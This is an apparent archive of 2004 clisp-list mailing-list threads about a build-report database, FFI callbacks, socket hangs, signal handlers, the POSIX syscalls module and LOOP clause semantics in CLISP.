Perhaps the first question is what data should be collected.
Here's what comes to my mind immediately:
- who's reporting (possibly inc. IP address used to submit data)
- when it was reported
- version of clisp (only distributed versions)
- OS/version 
  need some guidelines here
  Perhaps we want such things as what versions of what libraries.
- configuration options
- result 
  need some guidelines here
  Clearly we want more than success/failure
  For build errors we want to know something about where it failed.
  For test errors, which test(s) failed 
  (Can there be more than one or does it stop at the first?)
- commentary related to diagnosis of problems

Come to think of it, is there a reasonable way to run tests from
one version on another version?  It would be useful to know what
bugs are known to exist in which versions of clisp, and if they're
OS dependent, then which OS versions.  The most obvious way to get
that data would be the test suite.  I suppose that the test suite
is effectively cumulative, so we want to know in general which tests
have been observed to fail on which clisp versions on which OS
versions built with which options.


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Quite a few packages offer automatic feedback.
I see no reason not to do that with CLISP.
An interactive web alternative is, of course, a must.
I don't care much about which machine it will be running on -
if it will prove useful, we might want to move it to our "official" web
pages on gnu.org or sf.net (and getting you write access there won't be
a problem).  Bruno, what do you think?


> * Don Cohen <qba-grfg-204@vfvf.pf3-vap.pbz> [2004-11-24 13:25:36 -0800]:
>
> Sam Steingold writes:
>  > > * Don Cohen <qba-grfg-204@vfvf.pf3-vap.pbz> [2004-11-18 10:10:13 -0800]:
>  > >
>  > > My new request is that the install instructions should mention this as
>  > > a potential problem and refer to a web page on which is recorded
>  > > versions of clisp/OS that do and don't build, preferably including
>  > > various configuration options, and perhaps the errors that occur in
>  > > the incompatible cases.
>  > 
>  > would you like to maintain such a page?
> How would I get the data?
> It seems the easiest thing would be a web interface that allows
> people to submit data into a database and search that database.
> If you think some machine of mine is as good as any for that purpose
> I suppose I could volunteer one.  Actually, it seems to me that the
> best case would be for sourceforge to collect the data.  Is there
> a way to do that?
> Otheriwse it would probably be a good idea to occasionally upload the
> database to some place on sourceforge.
> (Or some similar place - any suggestions?)
>
> Perhaps the first question is what data should be collected.
> Here's what comes to my mind immediately:
> - who's reporting (possibly inc. IP address used to submit data)
> - when it was reported
> - version of clisp (only distributed versions)
> - OS/version 
>   need some guidelines here
>   Perhaps we want such things as what versions of what libraries.
> - configuration options
> - result 
>   need some guidelines here
>   Clearly we want more than success/failure
>   For build errors we want to know something about where it failed.
>   For test errors, which test(s) failed 
>   (Can there be more than one or does it stop at the first?)
> - commentary related to diagnosis of problems
>
> Come to think of it, is there a reasonable way to run tests from
> one version on another version?  It would be useful to know what
> bugs are known to exist in which versions of clisp, and if they're
> OS dependent, then which OS versions.  The most obvious way to get
> that data would be the test suite.  I suppose that the test suite
> is effectively cumulative, so we want to know in general which tests
> have been observed to fail on which clisp versions on which OS
> versions built with which options.

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Don Cohen suggested:
> >  > > My new request is that the install instructions should mention this
> >  > > as a potential problem and refer to a web page on which is recorded
> >  > > versions of clisp/OS that do and don't build, preferably including
> >  > > various configuration options, and perhaps the errors that occur in
> >  > > the incompatible cases.

If you find it worth spending your time on, and enough people are willing to
spend time entering their data into this database, I have no objection.

Personally I find such an approach useless, because:

  - The data becomes obsolete quickly. You can take a look at clisp's
    unix/PLATFORMS file and decide whether you find information about
    AIX 3 and IRIX 6.2 useful or not.
    Also, who is interested in reports about versions older than the current
    stable one? Downloading the newest stable version is so easy.

  - A significant percentage of build failure reports usually comes from
    people who have screwed up their environment, or are using nonstandard
    tools and techniques (from snapshot versions of gcc, over 'stow',
    up to automounter problems). These people can fill up all the cells of
    the configuration table with "FAIL". So someone would be needed to
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  - What some people consider a build failure, for example your 'DS'
    problem, for other people is not even worth talking about because
    it's so straightforward to fix.

  - Merely recording the failures does not help fixing the problems.

> > Come to think of it, is there a reasonable way to run tests from
> > one version on another version?

No. The tests use internal symbols from the implementation, which change
from one release to the next.

> > It would be useful to know what
> > bugs are known to exist in which versions of clisp, and if they're
> > OS dependent, then which OS versions.  The most obvious way to get
> > that data would be the test suite.

Look into the CVS's NEWS file, and on the bug tracker.

Bruno



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> *  <gnhor@hvhp.rqh> [2004-11-25 14:31:59 -0600]:
>
> Sam -- is ffi:def-call-in the way that gtk callbacks could be
> implemented in clisp's ffi?

yes, I think so.
Joerg is the CLISP FFI expert, I hope he will reply.

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Bruno Haible writes:
 > Don Cohen suggested:
 > > >  > > My new request is that the install instructions should mention this
 > > >  > > as a potential problem and refer to a web page on which is recorded
 > > >  > > versions of clisp/OS that do and don't build, preferably including
 > > >  > > various configuration options, and perhaps the errors that occur in
 > > >  > > the incompatible cases.
 > 
 > If you find it worth spending your time on, and enough people are willing to
 > spend time entering their data into this database, I have no objection.

I was hoping that it would take little or none of my time.  I was
hoping a web site would collect the data, save it in a database and
search/present it on demand.  The question of how many entries it will
have is a good one.  The only way to find out is try it and see.
If we do collect such data I'd suggest that the build instructions
include something about adding to the database.
Come to think of it, the instructions might also mention to send
trouble reports to clisp-list, including ... 

 > Personally I find such an approach useless, because:
 > 
 >   - The data becomes obsolete quickly. You can take a look at clisp's
 >     unix/PLATFORMS file and decide whether you find information about
 >     AIX 3 and IRIX 6.2 useful or not.

That's actually pretty close to what I want.  Should I assume that all
of the builds in that list were the latest released version of clisp
as of that date? 
I see lots of reports for linux, but the most recent is 2.2.13 in
2000.  I assume that data is still valid, though certainly not as
useful as it was when it was fresher.

 >     Also, who is interested in reports about versions older than the current
 >     stable one? Downloading the newest stable version is so easy.

I recently downloaded 2.33.1 because of a reported problem in building
ap5 there.  So it does happen.
But more to the point, when I tried to build it in red hat 6.2 I
failed because 2.33.1 expects a newer linux.  I almost certainly would
have the same result with any more recent clisp release.
While I expect that the vast majority of builds will be the most
recent clisp release, I don't expect the vast majority to occur on the
most recent OS version.  I currently use a few RH8's, a bunch of 7's,
I'm typing into a 6 right now, and I only recently upgraded a 5.

 >   - A significant percentage of build failure reports usually comes from
 >     people who have screwed up their environment, or are using nonstandard
 >     tools and techniques (from snapshot versions of gcc, over 'stow',
 >     up to automounter problems). These people can fill up all the cells of
 >     the configuration table with "FAIL". So someone would be needed to
 >     distinguish invalid reports from valid ones.

I agree (from considerable personal experience) that there are lots of
ways to fail.  Even if you failed for reasons that have nothing to do
with the clisp release I don't regard such entries as invalid.  They
are still useful to others who want to build in similar circumstances.
It's good to see that someone else has already experienced a problem
similar to the one you now experience, and even better if that entry
contains a diagnosis and a fix.  Conversely, the fact that SOMEONE has
managed to succeed using the same or even similar configuration that
you're now trying to use at least gives you hope.

 >   - What some people consider a build failure, for example your 'DS'
 >     problem, for other people is not even worth talking about because
 >     it's so straightforward to fix.
 > 
 >   - Merely recording the failures does not help fixing the problems.

(I think both of those are addressed above.)

 > > > Come to think of it, is there a reasonable way to run tests from
 > > > one version on another version?
 > 
 > No. The tests use internal symbols from the implementation, which change
 > from one release to the next.
 > 
 > > > It would be useful to know what
 > > > bugs are known to exist in which versions of clisp, and if they're
 > > > OS dependent, then which OS versions.  The most obvious way to get
 > > > that data would be the test suite.
 > 
 > Look into the CVS's NEWS file, and on the bug tracker.

I suppose the change log gives you an idea of what bugs people are
trying to fix.  But some of these are introduced accidentally in some
version, and you can avoid them by using either a later version or an
earlier one.


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Don Cohen schrieb:
> Bruno Haible writes:
>  > Don Cohen suggested:
>  > > >  > > My new request is that the install instructions should mention this
>  > > >  > > as a potential problem and refer to a web page on which is recorded
>  > > >  > > versions of clisp/OS that do and don't build, preferably including
>  > > >  > > various configuration options, and perhaps the errors that occur in
>  > > >  > > the incompatible cases.
>  > 
>  > If you find it worth spending your time on, and enough people are willing to
>  > spend time entering their data into this database, I have no objection.
> 
> I was hoping that it would take little or none of my time.  I was
> hoping a web site would collect the data, save it in a database and
> search/present it on demand.  The question of how many entries it will
> have is a good one.  The only way to find out is try it and see.
> If we do collect such data I'd suggest that the build instructions
> include something about adding to the database.
> Come to think of it, the instructions might also mention to send
> trouble reports to clisp-list, including ... 

You could try the sf.net buildfarm services. That's free, easy to use, 
but slow and uses very old OS versions.
   http://sourceforge.net/docman/display_doc.php?docid=762&group_id=1

I didn't use that yet, I just use the postgresql buildfarm and reporting 
tools, which is much better and faster.
   http://www.pgbuildfarm.org/
Andrew Dunstan maintains that, and the cgi is downloadable.
PS: the PgFoundry is a very recent gforge setup, in contrast to savannah 
or sf.net, which is ancient. but all of them still provide no wiki.

Feedback should go to some centralized gforge-type service, if on gnu or 
sf.net. I'd prefer savannah.gnu.org, but currently the sf.net trackers 
are used. Savannah uses an updated gforge software, support is more 
responsive and it is not that overcrowded.

>  > Personally I find such an approach useless, because:
>  > 
>  >   - The data becomes obsolete quickly. You can take a look at clisp's
>  >     unix/PLATFORMS file and decide whether you find information about
>  >     AIX 3 and IRIX 6.2 useful or not.
> 
> That's actually pretty close to what I want.  Should I assume that all
> of the builds in that list were the latest released version of clisp
> as of that date? 
> I see lots of reports for linux, but the most recent is 2.2.13 in
> 2000.  I assume that data is still valid, though certainly not as
> useful as it was when it was fresher.
> 
>  >     Also, who is interested in reports about versions older than the current
>  >     stable one? Downloading the newest stable version is so easy.
> 
> I recently downloaded 2.33.1 because of a reported problem in building
> ap5 there.  So it does happen.
> But more to the point, when I tried to build it in red hat 6.2 I
> failed because 2.33.1 expects a newer linux.  I almost certainly would
> have the same result with any more recent clisp release.
> While I expect that the vast majority of builds will be the most
> recent clisp release, I don't expect the vast majority to occur on the
> most recent OS version.  I currently use a few RH8's, a bunch of 7's,
> I'm typing into a 6 right now, and I only recently upgraded a 5.
> 
>  >   - A significant percentage of build failure reports usually comes from
>  >     people who have screwed up their environment, or are using nonstandard
>  >     tools and techniques (from snapshot versions of gcc, over 'stow',
>  >     up to automounter problems). These people can fill up all the cells of
>  >     the configuration table with "FAIL". So someone would be needed to
>  >     distinguish invalid reports from valid ones.
> 
> I agree (from considerable personal experience) that there are lots of
> ways to fail.  Even if you failed for reasons that have nothing to do
> with the clisp release I don't regard such entries as invalid.  They
> are still useful to others who want to build in similar circumstances.
> It's good to see that someone else has already experienced a problem
> similar to the one you now experience, and even better if that entry
> contains a diagnosis and a fix.  Conversely, the fact that SOMEONE has
> managed to succeed using the same or even similar configuration that
> you're now trying to use at least gives you hope.
> 
>  >   - What some people consider a build failure, for example your 'DS'
>  >     problem, for other people is not even worth talking about because
>  >     it's so straightforward to fix.
>  > 
>  >   - Merely recording the failures does not help fixing the problems.
> 
> (I think both of those are addressed above.)
> 
>  > > > Come to think of it, is there a reasonable way to run tests from
>  > > > one version on another version?
>  > 
>  > No. The tests use internal symbols from the implementation, which change
>  > from one release to the next.
>  > 
>  > > > It would be useful to know what
>  > > > bugs are known to exist in which versions of clisp, and if they're
>  > > > OS dependent, then which OS versions.  The most obvious way to get
>  > > > that data would be the test suite.
>  > 
>  > Look into the CVS's NEWS file, and on the bug tracker.
> 
> I suppose the change log gives you an idea of what bugs people are
> trying to fix.  But some of these are introduced accidentally in some
> version, and you can avoid them by using either a later version or an
> earlier one.
-- 
Reini Urban
http://xarch.tu-graz.ac.at/home/rurban/


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Hi,

Honorable <gnhor@hvhp.rqh> wrote:
>> Sam -- is ffi:def-call-in the way that gtk callbacks could be
>> implemented in clisp's ffi?
>yes, I think so.
>Joerg is the CLISP FFI expert, I hope he will reply.

def-call-in can be used, but it's not the only way.

An alternative is always to use correct (ffi:c-function ...) declarations for function arguments or for foreign places. This allows conversion between Lisp and foreign functions, including arbitrary closures, by creating trampolines (callbacks) as needed. This is particularly suited for variable or dynamic callbacks (Lisp function unknown at compile time).

I once added a callback example in the ffi testsuite. It may help you.
Note that the pattern I use therein gives you the ability to free the trampoline later, preventing possibly unlimited growth of an internal table of trampolines, while
(repeatedly
  (some-foreign-function #'(lambda ...) ...))
will fill that table (one entry for each closure), with few options to free it, unless you manage to get a handle on the trampoline.

Your choice will probably depend on the GTK setup: if there are few callbacks to known Lisp functions which themselves dispatch to user callbacks, a module using def-call-in is possible. If you want the foreign world to directly call user-supplied Lisp functions, then you have no change but to use the FFI dynamic conversion support (and probably do something to avoid growing that table, but talk to me again if that is a concern).

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	Jorg Hohle.


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Hi,
> >   - The data becomes obsolete quickly. You can take a look 
> >     at clisp's unix/PLATFORMS file
>That's actually pretty close to what I want.
I believe adding entries to that list is the only reasonable thing to do. The rest sounds like full time jobs (maintaining DB, build old versions etc.), nobody has time for that.

>I see lots of reports for linux, but the most recent is 2.2.13 in
>2000.
Unfortunate. People, please containue to add entries there.

It's important for practical applications that some known version of CLISP still works with old OS.
E.g. I just have a project where the OS is Suse Linux 8.1, which some may consider old already (9.1 may be current, I don't follow releases) -- FWIW, it successfully builds current CVS clisp.

Not every hardware is as new as the developer's favourite development box.

> > Look into the CVS's NEWS file, and on the bug tracker.
I too believe NEWS and ChangeLog give a lot of information about specific bug fixes.

But the mailing lists archives are equally valuable, because they give context and history, failure and success stories.
E.g. if you have an OS from 2000, use a CLISP from 2000 -- I probably wouldn't consider a binomial test build of all releases in between to find out which one stopped building: either the newest one can be made to work again, or it's very likely to be too expensive to fix more than a few annoying bugs in an old one.

Most of the bugs that get fixed *I* have never ever noticed. So fixing 1-3 specific bugs in a CLISP from 2000 may be good enough for use in some environments.

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	Jorg Hohle.


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Hi,

St=E9phane Legrand wrote:
>>      int i;
>>          printf("match %2d: %2d %2d\n",i,
>>                 matches[i].rm_so,matches[i].rm_eo); }}}
>And indeed, if you replace:=20
>  printf("match %2d: %2d %2d\n",i,
>with
>  printf("match %2d: %lld %lld\n",i,
>you get a right answer

This code is as broken as the original one. C does AFAIK not provide =
for printf() to infer a %d form that matches the variant of int passed =
as argument. Therefore, explicit casting is your only choice.

rm_so/eo is of type regoff_t, itself of type int on my Suse Linux 8.1 =
x86 box. Your example reveals that your machine uses another type.

Use printf %ld (long) rm_so
or  printf %d  (int) rm_so
or  printf %lld  (what's that?) rm_so
according to your taste and expectations.

IIRC, the value is signed, because -1 is returned for nonmatches.

Regards,
	J=F6rg H=F6hle


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Don Cohen wrote:
> But some of these are introduced accidentally in some version, and you can
> avoid them by using either a later version or an earlier one.

We try to avoid regressions, through test suites and prereleases. Everyone is
welcome to help us with this, by testing the prereleases, in the period
before a release. And when a regression is nevertheless introduced in a
release, and it is reported properly, there are chances that it gets fixed
in a clisp-2.xx.[123] bugfix release.

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Don,

solved:
>I traced compile only in order to show that
>(2) there was no change of state between the two compiles, other 
>than changes caused by the compile itself.
Wrong:
>[3]> (defun relationp-err (x)
>  (or (loop for r in *relation-list* thereis (eql x (foo-bar r)))
>      (car (push (make-foo :bar x) *relation-list*))))
thereis returns T after the initial call.
As a result, the LOAD-TIME-VALUE changes.

Maybe you meant something like
o thereis (if (eql x (foo-bar r)) x|r)
o when (eql x (foo-bar r)) return x|r

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	Jorg


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Date: Fri Nov 26 07:50:21 2004
X-Original-Date: Fri, 26 Nov 2004 16:48:30 +0100

Hi,

I've come across the following behaviour and wonder:
(defmacro bag (&body body)
  `(let ((*bags* ()))
     (declare (type list *bags*))	; need not be special
     (macrolet ((containing (x &optional (name :default))
		  (format *trace-output* "Expanding(~S)... " name)
		  `((lambda (value)
		      (push value (cdr (or (assoc ',name *bags* :test #'eq)
					   (let ((loc (list ',name)))
					     (push loc *bags*) loc))))
		      value) ,x))
		(result-expansion ()
		  (format *trace-output* "Stored: ~S~%" *bags*)
		  '(cdr (assoc :default *bags* :test #'eq))))
       ,@body
       (result-expansion))))
[2]> (defun zot(n) (bag (containing n)))
Expanding(:DEFAULT)... Stored: NIL
; Aha, macrolets seem to be expanded at defun-time already.
ZOT
[3]> (setq *print-length* 6)
6
[4]> (setq *print-level* 4) ; important, may crash if NIL
4
[5]> (compile 'zot)
Expanding(:DEFAULT)... Stored: 
#<SYSTEM::VAR *BAGS* NIL NIL #<SYSTEM::CONST NIL NIL NIL :ALL>
  (#<SYSTEM::ANODE SYSTEM::VAR (# NIL NIL) (#)>
   #<SYSTEM::ANODE SYSTEM::VAR (# NIL NIL) (#)>)
  T ...>
ZOT ;
NIL ;
NIL

How comes some system internal state gets into my variable?

(compile 'zot) with *print-level* nil crashes my MS-Windows CLISP (and I thought I
had GC/stack-checks/page overflow detection enabled).

Is this a consequence of CLHS on macrolet: "but the consequences are undefined if the local macro definitions reference any local variable or function bindings that are visible in that lexical environment."?

Is there any hope of getting a variation of this code to work?

Regards,
	Jorg Hohle.


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Date: Fri Nov 26 08:05:01 2004
X-Original-Date: Sat, 27 Nov 2004 00:03:05 +0800

    Hi,

I'm trying to use clisp on a Tru64 (DEC Alpha) system, but I have
some problem with sockets. The same program works OK on a Windows
version.

Basically, my program does the following:

    - open a socket with :buffered t and :element-type
      '(unsigned-byte 8)
    - loop:
        - write-sequence (± 500-byte sequence)
        - finish-output
        - read-sequence

But after sending the sequence (which is correctly received and
replied by the server), my program hangs in the read-sequence. I
have tried with read-byte, but it also hangs, as well as
socket-status! I have to press Control-c to get back the listerner.

When I use :buffered nil, sometimes, write-sequence/read-sequence
work correctly, but only the first of the loop, then after, it
breaks (ECONNRESET 54 "Connection reset by peer", ...).

Georges
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Date: Fri Nov 26 09:01:08 2004
X-Original-Date: Fri, 26 Nov 2004 08:52:05 -0800

I'm sorry that you spent time on this.  I did announce to the list that
I had figured out the problem with this test case.  I was hoping that
would at least prevent people from wasting time on it after the
announcement. 

Hoehle, Joerg-Cyril writes:
 > solved:
 > >I traced compile only in order to show that
 > >(2) there was no change of state between the two compiles, other 
 > >than changes caused by the compile itself.
 > Wrong:
 > >[3]> (defun relationp-err (x)
 > >  (or (loop for r in *relation-list* thereis (eql x (foo-bar r)))
 > >      (car (push (make-foo :bar x) *relation-list*))))
 > thereis returns T after the initial call.
 > As a result, the LOAD-TIME-VALUE changes.
 > 
 > Maybe you meant something like
 > o thereis (if (eql x (foo-bar r)) x|r)
 > o when (eql x (foo-bar r)) return x|r
 > 
 > Regards,
 > 	Jorg


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Date: Fri Nov 26 16:40:26 2004
X-Original-Date: Fri, 26 Nov 2004 12:39:14 -0500

> * Georges Ko <txb@txb.arg> [2004-11-27 00:03:05 +0800]:
>
> I'm trying to use clisp on a Tru64 (DEC Alpha) system, but I have some
> problem with sockets. The same program works OK on a Windows version.
>
> Basically, my program does the following:
>
>     - open a socket with :buffered t and :element-type
>       '(unsigned-byte 8)
>     - loop:
>         - write-sequence (=C2=B1 500-byte sequence)
>         - finish-output
>         - read-sequence
>
> But after sending the sequence (which is correctly received and
> replied by the server), my program hangs in the read-sequence. I
> have tried with read-byte, but it also hangs, as well as
> socket-status! I have to press Control-c to get back the listerner.
>
> When I use :buffered nil, sometimes, write-sequence/read-sequence
> work correctly, but only the first of the loop, then after, it
> breaks (ECONNRESET 54 "Connection reset by peer", ...).

you did not specify the CLISP version you are using.
Bruno did some significant improvements in this area in the CLISP CVS,
so maybe you could try CVS head?
thanks.

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Date: Fri Nov 26 16:51:02 2004
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Georges Ko <gko@gko.net> writes:

> I'm trying to use clisp on a Tru64 (DEC Alpha) system, but I have
> some problem with sockets. The same program works OK on a Windows
> version.

    The clisp version on Tru64 (OSF1 V5.1) is 2.33.2 compiled out of
the box. I'll try with the CVS version.

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> > Basically, my program does the following:
> >
> >     - open a socket with :buffered t and :element-type
> >       '(unsigned-byte 8)
> >     - loop:
> >         - write-sequence (=C2=B1 500-byte sequence)
> >         - finish-output
> >         - read-sequence
> >
> > But after sending the sequence (which is correctly received and
> > replied by the server), my program hangs in the read-sequence.

When you call read-sequence, you pass it a number of elements to read.
If the program on the other end of the socket has not yet produced so many
bytes, read-sequence will just wait.

In CLISP CVS, the READ-BYTE-SEQUENCE function has additional arguments
:NO-HANG and :INTERACTIVE that influence the behaviour in such a case.
In older CLISP versions, opening he socket with :buffered nil made
a difference.

> > breaks (ECONNRESET 54 "Connection reset by peer", ...).

This error means that the program on the other end has closed the connectio=
n.

Bruno



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Bruno Haible <bruno@clisp.org> writes:

>> > But after sending the sequence (which is correctly received and
>> > replied by the server), my program hangs in the read-sequence.
>
> When you call read-sequence, you pass it a number of elements to read.
> If the program on the other end of the socket has not yet produced so many
> bytes, read-sequence will just wait.

    The problem is that a (read-byte stream) and even a (socket-status
stream) hang (after sending the sequence)...

> In CLISP CVS, the READ-BYTE-SEQUENCE function has additional arguments
> :NO-HANG and :INTERACTIVE that influence the behaviour in such a case.
> In older CLISP versions, opening he socket with :buffered nil made
> a difference.

    The socket part now works with the CVS version! 

    Thanks for the help!

    Regards,

    Georges
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  I believe adding entries to that list is the only reasonable thing

In that case I'd request that future entries in that list at least
include the clisp version being built.

  to do. The rest sounds like full time jobs (maintaining DB, build
  old versions etc.), nobody has time for that.

If there's a web interface to a DB that simply collects data from
people who volunteer it then there should be practically no work
involved.  

  It's important for practical applications that some known version of
  CLISP still works with old OS.

I agree that's useful, but further information is also useful.
Generally you want to know the latest clisp version that you can build
on a given OS version, since you're using some OS version that you
don't want to change, and you'd like to use the most up-to-date clisp
version you can.
As I mentioned, my case was the opposite.  I knew I wanted a
particular clisp version and it would have been worth while to know
which machines were capable of building it.

  But the mailing lists archives are equally valuable, because they
  give context and history, failure and success stories.

That tends to focus on the failures.
Also you have to read a lot of stuff in order to find out the answer.
The point of organizing the data is to be able to find the answer with
minimal effort.

A possible intermediate point between the database and what we have
now would be a new mailing list specifically for build reports, where
people are encouraged to fill out a form.


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Hello,

It seems that unwinding from a signal handler does not exit the signal
handler:

[625]> (loop repeat 2 initially (print (linux:|getpid|)) do
      (linux:set-signal-handler 
       linux:SIGUSR1
       (lambda (signal)  (princ " Got signal ") (throw :hot-potatoe signal)))
      (catch :hot-potatoe
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11740  Looping . Got signal  Caught  Looping ....User defined signal 2
                 ^                           ^^^ ^ 
kill -USR1 11740 |___________________________||| |
kill -USR2 11740 ________________________________|

Is there a way to do it?

If not, shouldn't the signal handler code be modified to exit the
signal handling before unwinding?


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Date: Tue Nov 30 08:02:06 2004
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* Sam Steingold:

> Full list of new features: <http://www.podval.org/~sds/clisp/NEWS>

Is this still a GNU project?  I'm wondering because you are promoting
proprietary software, by distributing the matlab interface.


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Florian Weimer wrote:
> Is this still a GNU project?  I'm wondering because you are promoting
> proprietary software, by distributing the matlab interface.

CLISP is a GNU project. We don't find that interfacing to proprietary
software is equivalent to promoting it. Look at other examples:
OpenOffice, through its Word import filters, is not "promoting" other office
suites. Ghostscript, through its support of PDF files, is not "promoting"
Adobe products. Autoconf, through its support for shells other than GNU
bash, is not "promoting" HP-UX.

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> * Florian Weimer <sj@qraro.ralb.qr> [2004-11-30 17:01:35 +0100]:
> * Sam Steingold:
>
>> Full list of new features: <http://www.podval.org/~sds/clisp/NEWS>
>
> Is this still a GNU project?  I'm wondering because you are promoting
> proprietary software, by distributing the matlab interface.

In addition to Bruno's reply, note that there are free alternatives to
Matlab (R & Octave) and you are free to write modules for them.

There is no free alternative to Netica though.
You are free to write one, preferably in Lisp.

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Dan Stanger schrieb:
> I can send you a current copy of it, if you like.
> Dan

Yes, please.
I don't have terribly much time, but I'd love
to see it in the release if it builds OOTB.

Now even php comes with its own GDI binding pecl module, called 
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And the Perl Win32::GUI module just had its 1.0 last week.
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> Reini Urban wrote:
>>Dan Stanger schrieb:
>>>I made a small modification to one of the files, so that the module
>>>now builds with 2.33.2.
>>
>>great!
>>
>>how about my inclusion request into clisp?

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I'm am trying to compile Allego's portable aserv 
(http://sourceforge.net/projects/portableaserve/) under clisp and keep 
running into problems. I was hoping that someone might be able to tell 
me that I've been getting past roadblocks the wrong way and how to get 
past my latest roadblock.

- aserv references a POSIX package which I couldn't find in clisp. I 
downloaded and compiled clocc and change the packages names to PORT.
- aserv also references UNIX::getpid. I changed this to 
(sys::program-id)..

  Now I am getting the following error:
Compiling file 
/Users/oursland/ut/nlp/util/parsers/cskb/portableaserve/aserve/proxy.cl 
...
*** - FIND-CLASS: LOCATOR does not name a class

There is no line number. I have no idea how to fix this. aserv is meant 
to work with clisp. I'm not sure why it isn't.

Thank you,
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> * Alan Oursland <bhefynaq@pf.hgrknf.rqh> [2004-12-01 11:46:52 -0600]:
>
> aserv is meant to work with clisp. I'm not sure why it isn't.

if paserve is indeed claimed to work with clisp,
you should report this as a paserve bug - either in their bug database
of a mailing list.
there is little we can do here.

> Compiling file
> /Users/oursland/ut/nlp/util/parsers/cskb/portableaserve/aserve/proxy.cl
> ...
> *** - FIND-CLASS: LOCATOR does not name a class

try to find out where the file LOCATOR is defined in paserve and make
sure that the file which defines it is loaded before aserve/proxy.cl.
I have no idea what build tool they use so I don't know how to add this
dependency.

sorry...


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Thanks. I was hoping for an answer like "clisp includes the POSIX  
package. Just run this command to load it". I guess that is not the  
case.

Alan

On Dec 1, 2004, at 12:39 PM, Sam Steingold wrote:

>> * Alan Oursland <bhefynaq@pf.hgrknf.rqh> [2004-12-01 11:46:52 -0600]:
>>
>> aserv is meant to work with clisp. I'm not sure why it isn't.
>
> if paserve is indeed claimed to work with clisp,
> you should report this as a paserve bug - either in their bug database
> of a mailing list.
> there is little we can do here.
>
>> Compiling file
>> /Users/oursland/ut/nlp/util/parsers/cskb/portableaserve/aserve/ 
>> proxy.cl
>> ...
>> *** - FIND-CLASS: LOCATOR does not name a class
>
> try to find out where the file LOCATOR is defined in paserve and make
> sure that the file which defines it is loaded before aserve/proxy.cl.
> I have no idea what build tool they use so I don't know how to add this
> dependency.
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> * Alan Oursland <bhefynaq@pf.hgrknf.rqh> [2004-12-01 17:19:35 -0600]:
>
> Thanks. I was hoping for an answer like "clisp includes the POSIX
> package. Just run this command to load it". I guess that is not the
> case.

CLISP does include a POSIX package in the syscalls module:
$ ./configure --with-module=syscall --build build-with-syscalls
$ ./build-with-syscalls/clisp -K full
[1]> (find-package "POSIX")
#<PACKAGE POSIX>

you should not be surpized though that this package is CLISP-specific
and offers functionality
    <http://clisp.cons.org/impnotes/modules.html#syscalls>
which has nothing to do with the POSIX package in ACL.

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Hi,

I believe the LOOP disambiguation checks is too restrictive.

I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other ones.

CLHS says "The never construct terminates iteration the first time that the value of the supplied form is non-nil; the loop returns nil. If the value of the supplied form is always nil, some other construct can terminate the iteration. Unless some other clause contributes a return value, the default value returned is t."

Note "default value" and "other construct can terminate the iteration"

Now consider CLISP's behaviour
(loop for i in '(1 2 3) never (symbolp i) collect i)
*** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBOLP I)
      COLLECT I)
I'd expect this to return (1 2 3)
and
(loop for i in '(1 2 a 3) never (symbolp i) collect i)
to return NIL

because COLLECT is just that other clause which contributes a return value.

I believe the only ambiguous case is when ALWAYS or THEREIS are used with NEVER alone, because their defaults conflict.

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Hoehle, Joerg-Cyril writes:
> Hi,
> 
> I believe the LOOP disambiguation checks is too restrictive.
> 
> I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other ones.
> 
> CLHS says "The never construct terminates iteration the first time
> that the value of the supplied form is non-nil; the loop returns
> nil. If the value of the supplied form is always nil, some other
> construct can terminate the iteration. Unless some other clause
> contributes a return value, the default value returned is t."
> 
> Note "default value" and "other construct can terminate the iteration"
> 
> Now consider CLISP's behaviour
> (loop for i in '(1 2 3) never (symbolp i) collect i)
> *** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBOLP I)
>       COLLECT I)
> I'd expect this to return (1 2 3)
> and
> (loop for i in '(1 2 a 3) never (symbolp i) collect i)
> to return NIL
> 
> because COLLECT is just that other clause which contributes a return value.
> 
> I believe the only ambiguous case is when ALWAYS or THEREIS are used
> with NEVER alone, because their defaults conflict.

The defaults DON'T conflict, because they are specified to be enacted
_only_ _when_ the terminating condition occurs.  Since terminating
conditions are NOT evaluated in parallel, but sequentially, _only_ one
can occur at a time, therefore only _one_ default value is selected.

The error is in clisp implementation of loop where a default result is
computed at the beginning of the loop, instead of waiting the
terminating conditions to determine default values.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-12-02 12:50:37 +0100]:
>
> I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other ones.
>
> CLHS says "The never construct terminates iteration the first time
> that the value of the supplied form is non-nil; the loop returns
> nil. If the value of the supplied form is always nil, some other
> construct can terminate the iteration. Unless some other clause
> contributes a return value, the default value returned is t."
>
> Note "default value" and "other construct can terminate the iteration"
>
> Now consider CLISP's behaviour
> (loop for i in '(1 2 3) never (symbolp i) collect i)
> *** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBOLP I)
>       COLLECT I)
> I'd expect this to return (1 2 3)
> and
> (loop for i in '(1 2 a 3) never (symbolp i) collect i)
> to return NIL
>
> because COLLECT is just that other clause which contributes a return value.
>
> I believe the only ambiguous case is when ALWAYS or THEREIS are used
>with NEVER alone, because their defaults conflict.

there is a thread on c.l.l on this:
http://groups-beta.google.com/group/comp.lang.lisp/browse_frm/thread/df090483c0b8b58e/ba3d05cc52eef601?tvc=1&q=group:comp.lang.lisp+loop+thereis&_done=%2Fgroups%3Fq%3Dgroup:comp.lang.lisp+loop+thereis+%26qt_s%3DSearch+Groups%26&_doneTitle=Back+to+Search&scrollSave=&&d#ba3d05cc52eef601

here is a patch which relaxes the restrictions you dislike:
default return values are collected separately from the normal values
and multiple defaults result in a warning, not an error.

please test it and report your experiences here.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-12-02 12:5=
0:37 +0100]:
>
> I believe ALWAYS/NEVER/THEREIS clauses can be used together wit other one=
s.
>
> CLHS says "The never construct terminates iteration the first time
> that the value of the supplied form is non-nil; the loop returns
> nil. If the value of the supplied form is always nil, some other
> construct can terminate the iteration. Unless some other clause
> contributes a return value, the default value returned is t."
>
> Note "default value" and "other construct can terminate the iteration"
>
> Now consider CLISP's behaviour
> (loop for i in '(1 2 3) never (symbolp i) collect i)
> *** - LOOP: ambiguous result of loop (LOOP FOR I IN '(1 2 3) NEVER (SYMBO=
LP I)
>       COLLECT I)
> I'd expect this to return (1 2 3)
> and
